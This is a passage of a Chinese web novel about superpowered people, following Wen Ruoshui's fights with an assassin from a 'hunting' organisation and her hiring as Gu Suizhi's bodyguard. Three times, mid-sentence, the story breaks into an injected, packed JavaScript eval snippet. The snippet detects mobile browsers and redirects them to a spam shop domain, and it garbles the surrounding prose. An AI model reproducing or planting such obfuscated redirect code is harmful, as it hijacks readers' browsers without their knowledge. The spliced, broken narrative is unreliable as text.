顾随之伸出手将季小柔提溜起来:“保护好温温姐!” 随后他冲向筒子楼,身上白光迸发,异能极致释放—— “生生不息!” 受伤的人群感到一阵清凉浇灭了皮肤的灼热,不一会,伤口竟愈合了起来。他们来不及道谢,只是感激地看了顾随之一眼,然后纷纷逃离岌岌可危的筒子楼。 顾随之在混乱逃窜的人群中艰难前行,透过茫茫火海,他依稀看到了一个戴着兜帽的身影。那身影回头看了他一眼,随后便消失在了火海中。 . “温温姐你没事吧?”被烟熏得黢黑的顾随之问。 温偌水摇了摇头,说:“谢谢,你们怎么来了?” 季小柔一手捂着心脏,一手拿出那张ID卡:“姐姐你把ID卡落下啦!” 温偌水一言难尽地看着那张卡,腹诽这卡堪称晦气。但要不是这张卡,她今天可能就要葬送在火海中了。这么想着,她便默默将卡收了起来。 “义父,你刚刚喊的那一嗓子是啥啊?”危机过去,季小柔忍不住问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138990|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的异能名啊。”顾随之抹了把脸上的灰,人中处多了两缕小胡子,看上去很是滑稽。 “哪有人释放异能喊名字的啊?” 顾随之震惊:“热血动漫里不都是这么来的吗?一边放异能一边大声喊出来简直不要太酷好吧!” 季小柔:“……你都多大了……” 温偌水自动屏蔽了二人转,面无表情地看向已经烧得快成渣的402室,心里复盘这仅仅几秒内发生的大事。最后她得出的结论是:她可能招惹上司楚盛口中的“他们”了。 温偌水并不认为要债的那群小混混中有如此凶狠强悍的能力者,要是有,当时他们就不至于和泥地激情热吻了。排除他们,那就只有…… 不对,温偌水搓了搓下巴。 还得排除被打飞两颗牙的屠宰场老板、被卸了关节的水泥厂老板、被打出脑震荡的螺丝厂老板,以及被掰断几根手指的海鲜市场老板。 很好,仇家还挺多的。 温偌水叹了口气。 黑户区常有异能者斗殴,这种仇杀更是屡见不鲜,分区警察尸位素餐不干人事,因此受难群众只能自认倒霉,狼狈地回到了一片狼藉的筒子楼。 “温温姐,你今晚睡哪呀?”顾随之问,顺便给季小柔使了个眼色。季小柔瞬间会意,忙问:“姐姐要不要和我一起住义父家去?他家可大了!” 虽然顾随之连番几次帮到了自己,基本上可以打消一些顾虑,但出于保护耳朵不致于英年失聪的目的,温偌水还是委婉地拒绝了这一邀请。 从侧面来讲,温偌水何尝不是为了顾随之和季小柔好?万一她哪天受不了了两拳送父女二人去见马克思,这多不像话。 顾随之抿了抿唇,知道温偌水做下的决定轻易不会更改,于是拿出一张纸条写上了自己的联系方式塞给了温偌水:“如果遇到什么困难就给我打电话。” 他塞得匆忙,指尖擦过温偌水的手心。温偌水不禁收拢手指,将纸条塞进了口袋。 送走了父女二人,天色已经不早了。温偌水从口袋里掏出几张零碎的钞票,盘算着今晚去哪里过夜,最后她将目光锁定在小街的一家黑旅馆。 黑旅馆同黑药店不同,价格实惠,不管是三道九流还是牛鬼蛇神都可入住。办理手续十分快捷,只要付完钱,领完钥匙即可。 温偌水打开门,迎面扑来一股酸臭的脚丫味,里头还混合着肉汤馊掉的怪味,劣质地板因长期受潮尽数卷起,看上去像极了古时浮世绘里的海浪。 但这些都不是最令人头疼的。当温偌水翻开卷成一团的被子,看到黑红的血迹时,她的拳头硬了。 忍住,不能把店给砸了,否则就真没地方可住了。 温偌水几个深呼吸后,决定去杂货铺买条半新的毛毯将就着过一夜。 这一带电路坏了,巷道里黑得吓人。偶有一只黑猫经过,两只镭射眼像是鬼火一样闪烁,嘶哑的猫叫声衬托着夜路更加阴森可怖。 温偌水揣着一条毛毯大步流星地走着,突然被一个黑影挡住了去路。 见那人一直挡在狭窄的路中央不挪步,看着又不像是醉汉霸占街头拉野屎的模样,温偌水不悦问道:“有事?” 下一秒,瞳孔中映出红色,火光照亮了整条小巷。 35. 狩猎者(二) 巨大的轰鸣声中暗藏一道细不可闻的弦断之音,细碎的金光宛如无数乍起的蝴蝶四散而开。 温偌水看着自己毫发无损的左臂,心中疑云迭起。 “哈啊,是防御系的异能吗?”经过变声器处理的声音夹带着劣质嘈杂的电流声,在无人的街道中显得十分诡异突兀。 不,这不是我的异能。温偌水本能地想着,但是刚刚迸发出的金光以及毫发无损的身体又驳回了她这一想法。 “那就有点难搞了。”那人说着,下一秒身影消失在了马路中央! 炽热的火球再度袭来,温偌水下腰躲过,借力翻滚至一旁的杂物堆里,指尖触及废弃的钢管后将其握在手里。 温偌水不是个喜欢被动的人,与其狼狈逃窜不如主动出击。 她长腿一蹬,近身后挥出一拳,那人躲闪不及,被砸得撞在墙上,闷哼一声。 有些所谓的天才就是这样,太过于仰仗异能,从而导致反应与肉.体搏击的能力十分拉胯。 温偌水在火球铺面的一瞬间将手里的钢管扎了下去,那人奋力躲闪,钢管在砖墙上划拉出一道火光。 金光再一次闪现。 活动了一下肩颈,虽然温偌水还是不知道这防御系异能是从哪来的,但来不及想那么多,用着顺手也就习惯了它的存在。 黑衣人狼狈地倚靠着墙角,大口喘着粗气。 “该死的防御系……”似乎是觉得温偌水太过棘手,“你到底是谁?” 明明情报中说她只是个腺体受损的劣等人而已,怎么会有如此强劲的异能? 温偌水随手捡了一根用着更顺手的铁棍,面无表情地走近:“我?一个籍籍无名的落魄劣等人而已。” 强攻系异能确实能在很多场域占据优势,不过这类异能者很怕遇见防御系异能者,因为强攻系异能往往会消耗更多腺体能量,即便防御系异能不具备攻击性,但是一旦能量耗尽,他们也逃不出沦为砧板鱼肉的命运。 尤其是遇到温偌水这种肉搏技能拉满的怪物,几乎只有死路一条。 黑衣人眼看势头不对,拔腿就跑。 温偌水自然不会留下任何一条活口——自打在能量场里和何昕存、沙谦涛重逢后,她便明白了一个道理:坏人永远不会变好,仁慈对他们来说一文不值,该下手的时候就要早下手,尽量斩草除根,永除后患。 黑衣人心下震颤,以往执行过那么多次暗杀任务,暗杀对象总是能跑多远就跑多远,可从没一个会像温偌水这样反客为主追杀他的! 他暗骂几句,不断丢出火球阻拦温偌水,可金光乍现之处,炽热的夺命火焰都成了儿戏般的小摔炮,除了比较响以外和屁没什么两样。 有烟无伤定律下,温偌水再次冲破浓烟,宛如黑夜里的死神高举手中的镰刀,狠狠向那黑衣人劈下! 黑衣人狼狈逃窜,碎砖擦破了眼皮,流下一道血线。他吃力跑过拐角,与一个少年撞了个满怀—— 说时迟那时快,他一把抓住少年的细胳膊,将他抡向了温偌水,并对准少年腾空的身体释放出一道火球! 温偌水“啧”了一声,一把扯住少年的后颈将他拉至身后,随后再度发动异能! “咳咳咳……”少年掩面咳嗽起来。 浓烟散去,温偌水看着空空的巷口,不悦地眯起了眼睛。 “你……”她转过头,看向那坐在地上满面尘土的少年,在瞥到他怀里的奶娃娃时温偌水愣了一下,只这短暂一瞬,少年警觉得如同炸了毛的流浪猫,身下的影子流淌,下一秒少年和那奶娃娃都消失在了原地。 一场短暂的战斗结束,温偌水独自一人站在空荡荡的街角,先前买的旧毛毯不幸英年早逝,被烧成了渣渣。她摸了摸空空如也的口袋,心里把那该死的黑衣人挫骨扬灰了九九八十一遍。 无法,只能在旅馆的椅子上将就一夜了。 . 黑衣人捂着伤口,脚步一深一浅地小跑着。眼看把温偌水甩掉了,他松了口气,躲在小胡同里拨打电话。 “任务失败,情报有误……那女人居然有防御系异能——” 手里的手机被人抽走,他怔愣地回过头,看到了一个面容姣好的男人。 男人挂断了电话,并将手机砸成了碎片。 黑衣人认出了眼前的男人,瞪大双眼:“你……你!” 不是有其他人去暗杀他了吗?他怎么还活着?并且还出现在了这里? “哦你说他们啊。”顾随之面无表情道,“谢谢你们送来的人肉沙包,野莎姐让我替她向你们道谢,她玩得很开心。” 说着,顾随之抓住黑衣人的衣领挥出一拳,黑衣人闷哼一声,狠厉地释放火球! 火焰燃烧,空气中溢满血肉被烧焦的油脂味。 “去死吧!”黑衣人以为胜券在握,狰狞地笑着。但下一秒,他的笑容就凝固在了脸上—— 温和的白光环绕在顾随之周身,焦层剥落露出白皙的皮肤,伤口愈合,骨骼重建,生生不息! 黑衣人惊恐地睁大眼睛,仿佛眼前的不是人而是怪物一般。 他早就知道顾随之的异能是治愈系,这类异能可和防御系异能不一样,肉.体被烧灼的痛感是真实存在的,即便治愈系异能可以在短时间内恢复伤口,但根本不可能有人能挨过如此剧烈的疼痛! 狠厉但毫无章法的拳头袭来,黑衣人被打得头一歪,他不可置信地再度释放出异能,但顾随之的拳头依旧没有停下。烧焦的油脂味四溢,皮肉绽开声滋啦作响,胡同里的温度提升到恐怖的程度,空气都因为高温而抖动模糊起来。 顾随之将黑衣人按在地上用力捶打,身体的剧烈疼痛让他不受控制地流出生理眼泪,但是这泪水还没流到地上便被高温蒸发了。 “到底要怎样才能放过我们?!”他大吼道。 “我们明明已经逃得很远了!我们明明已经付出代价了!为什么?为什么还要赶尽杀绝?!”他崩溃地哭着,一拳打在了黑衣人的牙上,黑衣人的牙碎裂,他的指节也迸出鲜血。 “我们只想平凡地活着!不行吗?不行吗?!” 异能发动,伤口愈合,又是一拳! 平日里儒雅随和的顾随之全然变了一个人,他头发凌乱,满脸通红,眼泪决堤,眼中满是愤恨与杀意。他的身上满是伤痕,异能还没来得及治愈,另一道伤口又紧接着出现,若是旁人看到了,根本分不清他和黑衣人哪个占到了上风。 黑衣人已经被顾随之毫无章法的拳头砸成了受人蹂躏的蔫茄子样,气若游丝的声音从他已经扭曲畸形的喉管里挤塞而出:“你、你知道我背后的人是谁吗……” 顾随之下落的拳头突然顿住,他失神的瞳孔中恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之之你没事吧!”塔莉莎眼疾手快地把黑衣人的尸体抽出扔飞,仔细查看顾随之全身。在确认顾随之并没有受伤后松了一口气。但很快她又觉得难受起来,因为她想起了顾随之的异能——他现在身上没伤,不代表他之前没有受过伤。 看到已经烂得不成样的衣服,塔莉莎几乎猜到了先前发生了多么惨烈的争斗,不由得倒吸一口凉气。 “我说过不能一个人行动,你为什么不听话?”安慰的话语说不出口,塔莉莎又是心疼又是生气。 一旁的乔泽摘下了左手的黑色手套,轻轻触碰了下黑衣人的尸体,下一瞬尸体迅速膨胀后收缩,最后只听得“嘭——”一声,缩得只剩一个指甲盖大小的尸体炸成了飞灰,随风而散。 处理完尸体的乔泽用手帕擦净手上的污渍,又将手套戴了回去。 “塔莉莎小姐,别说了。”乔泽轻轻摇了摇头,塔莉莎只好将剩下的话咽进了肚子里。 她叹了一口气,将外套脱下盖在了顾随之身上。感受到温度的顾随之慢慢抬起头来,茫然地看着眼前的塔莉莎和乔泽:“野莎姐,阿泽哥……” 塔莉莎心疼地摸了摸他的头发:“嗯,我们在呢。” 早已干涸的眼泪再度奔涌而出,顾随之泣不成声道: “我好疼啊……我想回家……” 36. 狩猎者(三) 塔莉莎绞干净湿毛巾里最后一滴水,不时向床的方向张望。顾随之已经躺下了,乔泽帮他掖了掖被子,只露出一张苍白的脸,脸颊处泛着病态的红晕。 塔莉莎小心翼翼用毛巾擦拭着顾随之脸上的冷汗,这位久经沙场的女战士头一遭这么紧张,生怕自己一个不小心,把顾随之的脸刮破一层皮。 “我来吧,塔莉莎小姐。”乔泽接过毛巾,塔莉莎这才松了口气。 “发烧成这样,今晚他又要做噩梦了。”塔莉莎低声嘟囔着。 乔泽眼睫低垂,没有什么表情:“他不发烧的时候也会做噩梦。” 塔莉莎闻言,有些烦躁地挠了挠头发,叽里咕噜骂了一大串部落脏话,随后“腾”地一下站起身,走出了房间。 . “你来啦?”白发苍苍的老者窝在沙发里,借着落地灯暖黄色的灯光阅读着报纸。看见房间里来了人,他笑眯眯地将手里的报纸叠好,放在了一边。 季小柔怯生生地向里张望,她来顾随之家住了有一段时间,可很少会遇见这位神出鬼没的“爷爷”,哦,按照辈分来讲,她应该称呼顾翊诚为太爷爷。虽然顾翊诚看上去很是和善,但是季小柔总觉得眼前这位头发花白的老者骨子里流淌着桀骜不驯——如果给他一把枪,他估计可以在敌人雷区蹦迪,气死敌人的同时还能全身而退的那种。 “有什么事吗?”顾翊诚笑着问道。 季小柔指了指走廊尽头的房间:“我刚刚看到塔莉莎小姐和乔泽先生把义……呃,随之哥抱回来了,随之哥出什么事了吗?我看他脸色很不好的样子。” 顾翊诚递给季小柔一颗糖,示意她不要紧张:“没事的,他只是受到了惊吓,明天就好了。” 季小柔歪了歪头,心想:顾随之受到的惊吓能有能量场里的大?为啥他在能量场里活蹦乱跳的,一回到家就蔫成这熊样? 不过顾翊诚这个当亲爷爷的都不急,自己一个捡回来的连法律都不认可、遗产都没得继承的便宜女儿有啥可急的呢。想到这她便放松了许多,和顾翊诚道过晚安后便离开了房间。 房门还没关上,她便和急匆匆的塔莉莎打了个照面,塔莉莎没空理她,推门直入。 下一秒,隔着厚厚的房门,季小柔就听见了先前还很温柔和煦的顾翊诚破口大骂道:“下次你再弄丢我乖孙我就把你头砍下来挂城墙上!!!” 季小柔:“……”她的直觉果真没错! 正当她怔愣时,一只手搭上了她的肩,季小柔吓了一跳,以为是顾老爷子冲破房门索偷听者的命了,结果扭头一看,是一脸平静的乔泽。 他拍了拍季小柔的肩,说:“时候不早了,早点休息吧。”随后打开房门走了进去。 刚打开门,乔泽就看见平日在军队和警署里英姿飒爽的女战士塔莉莎,此刻正像古时峨眉山的猴子一样上蹿下跳,狼狈地躲避着顾翊诚狂暴射手般的攻击。 杀红了眼的顾翊诚看到得意门生来了,勉强停止投掷行为,咬牙切齿地理了理凌乱的衣领。 “你说你怎么不看住他?尽由得他胡闹!”顾翊诚愤懑道。 乔泽沉默一秒,然后一手按在桌上,一手抓起一侧的水果刀,作势向手指砍去! 说时迟那时快,顾翊诚和塔莉莎虎躯一震,不约而同地冲了上来,一人钳制住乔泽,一人抓住他持刀的手。 “你疯了?!”塔莉莎慌得冷汗直流,心跳剧烈如擂鼓。 “你个臭小子!我把你从那鬼地方捞出来不是为了让你给我表演黑.道那一套的!”顾翊诚恨铁不成钢地低喝道。 乔泽依旧没什么表情,淡淡说:“是我没看住阿随,理应受罚。” “你你你……”顾翊诚手指着乔泽,气得连话都说不清爽了。 顾翊诚没话说,一屁股坐在沙发上,手扶着额头直叹气。 “别叹气了,再叹财运都没了。”塔莉莎小声嘀咕道,回应她的是一块时速为120km/h的镇纸。 塔莉莎堪堪躲过,刚想骂脏话,一对上顾翊诚杀气腾腾的目光又憋了回去,说:“腿长在之之身上,他想跑有十万八千种方法,我们哪里拦得住他?” 顾翊诚猛地一拍桌子:“少放屁!你俩加起来拦不住个治愈系的?” “你是没看到之之把那人打成了什么样!”塔莉莎叫道,“他一个顶级治愈系异能者,仗着恢复快就跟疯了一样和别人拼血条,我们怎么拦?” 说到这,她没好气地翻了个白眼:“他超爱那女的,眼睛恨不得黏人家身上,我和阿泽好不容易从能量场里活着回来,他就过来抱了一下,还没搂热乎呢就抛下我们屁颠屁颠地追那女的去了!” “塔莉莎小姐,是我们有工作在身先和他道别的。”乔泽说。 “就算是这样他也应该等我俩下班然后一起去搓顿大的呀!结果我忙完,一转头,嘿哟,臭小子的屁股蛋都看不见了!” “塔莉莎小姐,注意言辞。” “话糙理不糙!”塔莉莎哼了一声。 顾翊诚被塔莉莎连珠炮似的话语吵得有些头疼,他忍着脾气没在得意门生面前发作,以免乔泽再来个切腹赔罪打他个措手不及,只是皱着眉说:“现在咋办?把那女的绑回来?” 话音刚落,乔泽道:“顾将军,温十三小姐有自己的名字,并且‘绑’有些不太礼貌。” 顾翊诚顿了顿:“哦,那把温小姐扛回来?” 塔莉莎仰面倒在沙发里:“我同意!” 乔泽:“……” “不然怎么办嘛!”顾翊诚在宝贝孙子这件事上有些进退两难,“现在他俩都被腺体狩猎组织盯上了,我要是不管肯定要出事的!” “所以你那么早退休干嘛?在军队里还能手握实权,调动点人保护之之,现在倒好,除了家里挂着那些军服勋章,你和普通老毛头子有什么区别?”塔莉莎没好气道。 “你懂个屁!老子当年提前退休也是为了保护我宝贝疙瘩!”顾翊诚恨不得给塔莉莎哐哐来两拳。 他“哎呀”了一声,一拳捶在了沙发上,发泄心中的愤恨。 见顾翊诚真的生气难过了,塔莉莎也不好多说什么,将视线转向正在沉思的乔泽。 “温小姐是位很有主见很有性格的女性,想强行逼她就范几乎是不可能的。”乔泽冷静说道,“而且,不管她是不是阿随的心仪对象,任何强制手段都不礼貌,得尊重她的选择。” 塔莉莎趴在沙发上,困得睡眼惺忪:“那就投其所好呗。”她抬起手指一捻,“贫民窟的人最喜欢这个。” 乔泽摩挲着下巴:“我有一个想法。” . 温偌水两手空空,裤兜也空空地回到了黑旅馆,手刚摸到门把手时她便听到了屋内的动静。 她心下一紧,屏住呼吸,顺手抄了把角落里的螺丝刀,准备充足后冲进了房间。 房间里,一个右眼缠着绷带的少年吓了一跳,抓起手边的台灯便砸了过来。 温偌水眼疾手快地接 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温偌水松开了压制少年的手,掀开了床上血迹已经干涸的床被,犹豫了半秒后将自己还算干净的外套垫在了奶娃娃的身下,然后掏出手机噼里啪啦打了一串字。 “等着。”她对少年说。 约莫过了十来分钟,敲门声响起,温偌水前去开门,门外露出刘哥充满疑问的脸:“你让我送这些过来干嘛?你受伤了?” 温偌水没和他废话,抢过他手上的药袋子,冷酷撂下一句:“钱记我账上。”说完,便拍上了门,将好奇探头的刘哥撞得眼泪直接炸了出来。 “我草……”刘哥捂着鼻子,“他妈的到底你是债主还是我是债主啊……” . 少年目瞪口呆地看着温偌水手法娴熟地操作了一番,先前想逃跑的心思尽数烟消云散。 奶娃娃终于不哭了,少年抱着他,一脸茫然地问:“为什么要帮我们……” 话没说完,手里便多出一张纸条。 “欠我两百四十二块五毛八。这是欠条,有钱了记得还我。”温偌水冷酷道。 少年:“……” “里头包括了清理费。”温偌水指了指被弄脏的床单和自己的外套,“我甚至没有向你索要私闯民宅的精神损失费。” “这里是旅馆,不是民宅……” “那你付我一半房费?” 少年不说话了。 温偌水坐在椅子上,双手抱臂闭上了眼:“收拾好了就滚蛋,再敢爬窗进来我就打断你的腿。” 少年悻悻抱起奶娃娃,起身准备离开房间。 “谢谢……不仅谢谢你救了我弟弟,还谢谢你之前救了我们……”临走前,少年说道。 温偌水依旧闭着眼,冷哼了一声:“我还以为你贵人多忘事呢。” 少年:“……”他一刻也不想多留,几乎是逃窜般离开了房间。 . “失败了?”厚厚的面具下,男人的声音有些发闷。 跪在他脚下的人瑟瑟发抖,冷汗直流。 “喂,下棋就认真点啊。”对面传来一个女人的声音。 男人笑了一声,落下一子:“将军。” 身后,血花四溅,惨叫被堵在了喉咙里。那人像是看到了什么恐怖的东西,满脸惊恐地倒在血泊里,濒死的鱼一样挣扎了几下,然后便一动不动了。 男人抬了抬手,黑暗中几人走上前来抬走了尸体。 “任务继续。” 37. 狩猎者(四) 第二天早晨,温偌水退了房便杀去了报刊亭。 报刊亭老头缩在最里头,不断出声试图稳住温偌水:“你冷静些……那真不是我的错,我也不知道咋回事……” 温偌水一把把螺丝刀拍在撑板上:“那你将功补过一下?” 老头讨好地笑着:“嗻——” 他翻出旧本子,眉飞色舞道:“真别说,还就巧呢,昨个正好有个同行提了一嘴。” 他将本子转了过来,递给温偌水看:“中心区有家人在招保镖,包吃包住,月薪三万,这可是不可多得的好机会,不可错过啊!” 老头环顾四周,随后鬼鬼祟祟地捂着嘴小声说:“看在和你熟的份上我才告诉你的,这好工作简直百年难得一遇啊!” 温偌水皱眉:“中心区的怎么会到我们这边招人?”别又和上次一样是一场骗局。 “唉,这次是熟人介绍的,必不可能有假,而且人家是有面试的,好几个人去竞争呢,也不见得你就能百分百被选上啊,你就去看看,碰碰运气,万一能成呢?” 一听是多人竞一岗,温偌水疑虑打消了些:“包五险一金吗?包通勤费吗?假期照常放吗?要调休吗?” 老头被问题砸了脑袋,发懵道:“这些你得和雇主商量啊。”他拿出纸,写了个条递给温偌水,“面试地点在这,又不是在什么旮旯里,肯定不是骗人的啦。” 温偌水接过纸条:“我相信你最后一次。”如果这次还是在诓她,那温偌水会一把火烧了整个报刊亭。 老头打了个寒颤,赔笑道:“肯定是真的,放心,放心!” . 温偌水看着眼前装修精致的小咖啡店,眉尾一挑。 现在回去烧报刊亭还来得及吗? 谁家好人面试保镖会在咖啡店里啊! 她刚想走,咖啡店的小门就被人推开,一个身着西装的老者笑眯眯道:“且留步,这位就是温小姐吧?” 温偌水扭头,在看清老者样貌的那一刹那愣住:“好巧。” 多年前在医院里伸出援助之手的老者身影与眼前人慢慢重合。温偌水有些晃神,脑海中又浮现出汪莓剥糖纸的模样。 可惜,不管老者帮不帮她们,汪莓都停在那晚没能走出来。 顾翊诚也是一愣,差点破功:“啊、啊,是你?诶?怎么会是你……” 他说话有些奇怪,温偌水歪了歪头。 顾翊诚一拍自己大腿,赶忙把温偌水迎进了咖啡店:“真的是太巧了,请进!” “这个、这个……”顾翊诚拿着菜单一通划拉。 温偌水腹诽:怎么尽点一些便宜又难吃的? 顾翊诚:“除了这些,其他每种都来一样!” 温偌水:他是个好人! 顾翊诚搓了搓手,喜上眉梢问:“那个,后来汪姑娘怎么说啊?” 温偌水:“她死了。” 本还想套近乎的顾翊诚愣住,有些尴尬地挠了挠头:“啊,怎么会……唉,太可惜了。” 温偌水一边吃着甜点,开门见山道:“我今天是来面试的。” 顾翊诚拍案而起:“就决定是你了!” 温偌水:“?这么快就决定了?不是说多人竞一岗吗?” 顾翊诚又一屁股坐下,掐了把自己的大腿肉,暗骂自己太过激动了。他咳嗽两声:“咳,之前的面试者我都看过了,各个面黄肌瘦,一看就不能打的样子。” 其实收到邀请的面试者从始到终只有温偌水一人。 “还是温小姐好啊,魁梧挺拔,高大强壮,双臂有力,步履稳健……一双眼光射寒星,两弯眉混如刷漆,如同天上降魔主,真是人间太岁神,好一个能让金丝雀依偎的宽大肩膀!” 温偌水低头看了看自己和顾翊诚的描述八竿子打不着的身形,有些无语凝噎。 “有你保护我乖孙我就放一百个心啦!” 不知道为何,听了顾翊诚这一通不靠谱的发言,温偌水的脑海中不禁浮现另一个顾姓人士的身影。 “请问您贵姓?”温偌水问。 “鄙姓顾。”顾翊诚说着,不修边幅地用手指一沾果汁,在桌上写下个“顾”字。 温偌水:“……” 不会这么巧吧…… 她刚想问“你孙子叫什么”,顾翊诚就从公文包里掏出一沓文件递到温偌水面前。 “这些是聘请合同,温小姐可以看看。”顾翊诚笑得眼睛都快找不着了,“待遇很好的,你要是还有哪里不满意,请尽管提。” 温偌水停下吃喝,接过合同一看。瞬间,合同白花花的纸上宛如有万道金光乍闪,晃得温偌水几乎睁不开眼来。 月薪保底三万三,年终还有不少于十万元的奖金,五险一金,朝九晚五,节假日放假不调休——最主要的是,他们提供的包吃包住服务里点明了一项:吃食由五星级大厨特供! 温偌水咽了咽口水,她已经无心再去探讨顾翊诚的孙子到底是谁,她只希望快点拎包入住,吃顿大的。 “我觉得没问题。”温偌水尽量克制住自己的喜悦,面无表情道。 顾翊诚骤然捏紧拳头,在心里一阵欢呼。他赶忙递出笔,让温偌水在合同上签字。 “温小姐先回去收拾东西,一会我让人接你去家里。”顾翊诚心花怒放,一路放到脸上。 . “之之,这是几?”塔莉莎比了个数字。 顾随之:“……野莎姐,我只是有点虚弱,不是傻了。” 塔莉莎乐呵一笑:“这不是怕你和之前一样——” 话音未落,就被乔泽打断:“塔莉莎小姐,顾将军布置的五十圈任务你还没有完成。” 塔莉莎鬼叫一声,整个人像八爪鱼一样缠在了乔泽身上:“呜呜呜呜亲爱的你怎么能这么冷漠!我们不是说好做彼此的天使吗——” “塔莉莎小姐,如果我没记错的话部落民只信仰大地神,大地神系里可没有名为‘天使’的神祇。” 塔莉莎自知争辩不过乔泽,便换了种方法堵住乔泽的嘴。 还在发烧却被逼着吃了一大口狗粮的顾随之:“……我是不是有点多余?要不我走?” 塔莉莎心满意足地松开乔泽,满面红光地舔了舔嘴唇。乔泽除了衣领有些凌乱外并无异常——如果他的耳尖没有悄然变红的话。 顾随之扬了扬嘴角:“你们怎么突然在一起了?” 塔莉莎叉腰:“那是一个漫长的故事——” 乔泽:“当务之急是应对狩猎者,塔莉莎小姐,我想你能分清主次。” “阿泽哥,是我主动问的,你别怪野莎姐。”顾随之连忙说。 被点名批评的塔莉莎一点都不生气,反而更加神采飞扬。她捂着嘴给顾随之使了个眼色,小声说:“没事,他只是害羞了而已~” “塔莉莎小姐。”乔泽看了塔莉莎一眼,塔莉莎立马稍息立正,敬了个吊儿郎当的军礼:“报告长官,昨天刚从那几个俘虏那套来了点话!” “什么?” “狩猎者们最近很是猖狂,不仅南城被搞得乌烟瘴气,其他地方也未能幸免于难。他们行事很大胆,应该是上面有人在帮忙兜着。” “为何会突然开始行动?难不成那项实验又有新进展了?”乔泽蹭了蹭嘴唇,“他们还说了什么?” “没说几句就嗝屁了。”塔莉莎耸了耸肩,“不过我发誓不是我下了死手,应该是他们组织内部动了什么手脚。” 默默旁听的顾随之在听到“实验”二字时身体不受控制地颤抖起来。塔莉莎注意到他的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13221472|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常,轻轻拍了拍他的肩:“别怕,要是有人欺负你我就把他头打进屁.眼里!” 乔泽重重咳了一声:“塔莉莎小姐。” 塔莉莎笑笑:“我知道我知道,注意言辞。”说完,她吐了吐舌头,颇有一番“知道了,下次还犯”的松弛感。 “不过话说回来,到底是哪个王八蛋搞出来的那实验?简直草菅人命!” 乔泽摇了摇头:“当年实验负责人因意外事故去世,所有相关信息都被委员会加密了。” “哈,肯定是因为做了伤天害理的事情惹怒了大地神才暴毙的——诶,之之你别抠手啊,都出血了!”塔莉莎连忙抓住顾随之的手,“我就一个不注意,你小子干嘛呢!” 顾随之回过神来:“啊,不好意思我刚刚在走神。” 乔泽看了顾随之一眼,说:“好好休息,今晚带你见一个人。” 顾随之把脑袋藏进被子里:“我不想见军方的人,也不想结交什么权贵。” “不是军方的,也不是什么权贵。”乔泽将被子拉了下来,“是个惊喜。” . 坐在高档轿车里,温偌水有些别扭,但又有些莫名的熟悉感。她找了个舒适的姿势,半眯着眼观察车窗外景色的变化。 汽车绕过了山路十八弯,在一个很是隐秘的森林入口处拐了进去。 耳畔皆是顾翊诚叽叽喳喳的说话声,这位老者明明头发已经花白,但精神气完全吊打温偌水这个正值当打之年的年轻人。 几乎是从一上车开始,顾翊诚便打开了话匣子,从自己乖孙子穿纸尿裤开始讲起,一直讲到他上小学二年级。讲完二年级结束的那个暑假,顾翊诚突然顿了顿,然后又从孙子十九岁生日开始讲。 虽然顾翊诚真的很吵闹,但温偌水居然破天荒地从头听到了尾,甚至当顾翊诚提到孙子的一些幼年糗事时,温偌水还会忍不住嘴角上扬。正是因为认真听了,所以温偌水才会在意顾翊诚闭口不谈的那近十年里到底发生了什么。 “十九岁之前的事呢?”她问。 顾翊诚嘴角的笑淡了许多,伸手胡乱又粗鲁地抹了把脸,吸了吸鼻子,张嘴半天才喃喃说了句:“我把他弄丢了。” 温偌水不动声色地看向顾翊诚,发现这个前一秒还眉飞色舞的老者突然变回了与他外貌相符的衰老状态,像是焯水过头的西蓝花,颜色由嫩绿转为枯黄。 “所以,我很怕再次把他弄丢。温小姐,你能替我好好看住他吗?”顾翊诚无比真诚地看向温偌水,近乎祈求地说道。 温偌水垂眸,轻叹一声:“签了合同,这就是我的职责。” “要是做得不好,您可以扣我的奖金。” 顾翊诚一愣,随后哈哈大笑了起来,声音之洪亮,车厢内的空气都在震动。 车子停下,高大的独门别墅出现在温偌水眼前。 她现在对季小柔说的“义父家房子很大”有个确切的概念了。 别墅的铁门缓缓打开,车子再度发动,又行驶了一会后才彻底熄火。顾翊诚替温偌水拉开了车门,微笑着说:“这以后就是你工作的地方了。” 透过巨大的落地窗,温偌水看见餐厅内的佣人正在准备今日的晚饭,长长的桌子上摆满了各色美食,让人垂涎欲滴。 “快来快来,别磨磨唧唧的!”别墅里传来熟悉的声音。 “我真的不想见什么人……应酬好麻烦啊……” 顾随之的声音由远及近,走在他身前的塔莉莎迫不及待地拉开了门。 “锵锵——surprise!” 顾随之看向站在门外的人,在短短几秒内如同变脸一样瞬间切换了好几个表情,随后,他像十来天没见过主人的大金毛一样飞扑了上去—— “温温姐,你怎么来啦!” 38. 婚礼 温偌水侧身避开顾随之的飞扑,但又突然想到自己的身份已经变了,凭借着良好的职业操守,她眼疾手快地一把抓住顾随之的后领,以免他摔个嘴啃泥。 